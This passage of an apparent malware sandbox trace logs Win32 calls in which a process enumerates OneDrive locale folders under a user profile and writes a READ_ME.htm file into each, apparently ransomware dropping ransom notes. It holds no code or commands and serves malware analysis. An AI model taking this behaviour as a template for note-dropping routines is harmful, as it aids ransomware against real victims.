lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.690] SetErrorMode (uMode=0x1) returned 0x0 [0145.690] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nb-no\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.690] SetErrorMode (uMode=0x0) returned 0x1 [0145.690] GetFileType (hFile=0x1d0) returned 0x1 [0145.691] WriteFile (in: hFile=0x1d0, lpBuffer=0x2967730*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2967730*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np", lpFilePart=0x0) returned 0x48 [0145.693] SetErrorMode (uMode=0x1) returned 0x0 [0145.693] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ne-np\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecc18330, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xece9fa90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xece9fa90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.693] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.693] SetErrorMode (uMode=0x0) returned 0x1 [0145.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np", lpFilePart=0x0) returned 0x48 [0145.694] SetErrorMode (uMode=0x1) returned 0x0 [0145.694] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ne-np\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecc18330, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xece9fa90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xece9fa90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.694] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.694] SetErrorMode (uMode=0x0) returned 0x1 [0145.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.694] SetErrorMode (uMode=0x1) returned 0x0 [0145.695] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ne-np\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ne-np\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.884] SetErrorMode (uMode=0x0) returned 0x1 [0145.884] GetFileType (hFile=0x1d0) returned 0x1 [0145.885] WriteFile (in: hFile=0x1d0, lpBuffer=0x296dd98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x296dd98*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl", lpFilePart=0x0) returned 0x45 [0145.887] SetErrorMode (uMode=0x1) returned 0x0 [0145.887] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nl\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xece9fa90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed14d350, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed14d350, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.887] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.888] SetErrorMode (uMode=0x0) returned 0x1 [0145.888] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl", lpFilePart=0x0) returned 0x45 [0145.888] SetErrorMode (uMode=0x1) returned 0x0 [0145.888] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nl\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xece9fa90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed14d350, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed14d350, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.888] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.888] SetErrorMode (uMode=0x0) returned 0x1 [0145.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.889] SetErrorMode (uMode=0x1) returned 0x0 [0145.889] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nl\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.889] SetErrorMode (uMode=0x0) returned 0x1 [0145.889] GetFileType (hFile=0x1d0) returned 0x1 [0145.890] WriteFile (in: hFile=0x1d0, lpBuffer=0x2974380*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2974380*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no", lpFilePart=0x0) returned 0x48 [0145.891] SetErrorMode (uMode=0x1) returned 0x0 [0145.891] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nn-no\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed14d350, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed33c530, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed33c530, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.892] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.892] SetErrorMode (uMode=0x0) returned 0x1 [0145.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no", lpFilePart=0x0) returned 0x48 [0145.892] SetErrorMode (uMode=0x1) returned 0x0 [0145.893] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nn-no\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed14d350, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed33c530, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed33c530, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.893] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.893] SetErrorMode (uMode=0x0) returned 0x1 [0145.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.894] SetErrorMode (uMode=0x1) returned 0x0 [0145.894] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nn-no\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nn-no\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.894] SetErrorMode (uMode=0x0) returned 0x1 [0145.894] GetFileType (hFile=0x1d0) returned 0x1 [0145.895] WriteFile (in: hFile=0x1d0, lpBuffer=0x297a9e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x297a9e8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za", lpFilePart=0x0) returned 0x49 [0145.896] SetErrorMode (uMode=0x1) returned 0x0 [0145.896] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nso-za\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed33c530, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed551870, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed551870, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.897] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.897] SetErrorMode (uMode=0x0) returned 0x1 [0145.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za", lpFilePart=0x0) returned 0x49 [0145.897] SetErrorMode (uMode=0x1) returned 0x0 [0145.897] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nso-za\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed33c530, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed551870, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed551870, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.898] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.898] SetErrorMode (uMode=0x0) returned 0x1 [0145.898] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0145.898] SetErrorMode (uMode=0x1) returned 0x0 [0145.898] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nso-za\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nso-za\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.916] SetErrorMode (uMode=0x0) returned 0x1 [0145.916] GetFileType (hFile=0x1d0) returned 0x1 [0145.916] WriteFile (in: hFile=0x1d0, lpBuffer=0x2981050*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2981050*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in", lpFilePart=0x0) returned 0x48 [0145.918] SetErrorMode (uMode=0x1) returned 0x0 [0145.918] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\or-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed551870, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed7b2e70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed7b2e70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.919] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.919] SetErrorMode (uMode=0x0) returned 0x1 [0145.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in", lpFilePart=0x0) returned 0x48 [0145.919] SetErrorMode (uMode=0x1) returned 0x0 [0145.919] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\or-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed551870, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed7b2e70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed7b2e70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.920] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.920] SetErrorMode (uMode=0x0) returned 0x1 [0145.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.920] SetErrorMode (uMode=0x1) returned 0x0 [0145.920] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\or-in\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\or-in\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.921] SetErrorMode (uMode=0x0) returned 0x1 [0145.921] GetFileType (hFile=0x1d0) returned 0x1 [0145.921] WriteFile (in: hFile=0x1d0, lpBuffer=0x29876b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29876b8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa", lpFilePart=0x0) returned 0x45 [0145.923] SetErrorMode (uMode=0x1) returned 0x0 [0145.923] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed7b2e70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed9ee310, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed9ee310, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.923] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.924] SetErrorMode (uMode=0x0) returned 0x1 [0145.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa", lpFilePart=0x0) returned 0x45 [0145.924] SetErrorMode (uMode=0x1) returned 0x0 [0145.924] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed7b2e70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed9ee310, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed9ee310, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.924] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.925] SetErrorMode (uMode=0x0) returned 0x1 [0145.925] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.925] SetErrorMode (uMode=0x1) returned 0x0 [0145.925] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.925] SetErrorMode (uMode=0x0) returned 0x1 [0145.926] GetFileType (hFile=0x1d0) returned 0x1 [0145.926] WriteFile (in: hFile=0x1d0, lpBuffer=0x298dca0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x298dca0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.928] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab", lpFilePart=0x0) returned 0x4a [0145.928] SetErrorMode (uMode=0x1) returned 0x0 [0145.928] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa-arab\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed9ee310, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedc4f910, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedc4f910, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.928] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.928] SetErrorMode (uMode=0x0) returned 0x1 [0145.929] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab", lpFilePart=0x0) returned 0x4a [0145.929] SetErrorMode (uMode=0x1) returned 0x0 [0145.929] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\pa-arab\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\pa-arab\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed9ee310, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedc4f910, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedc4f910, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 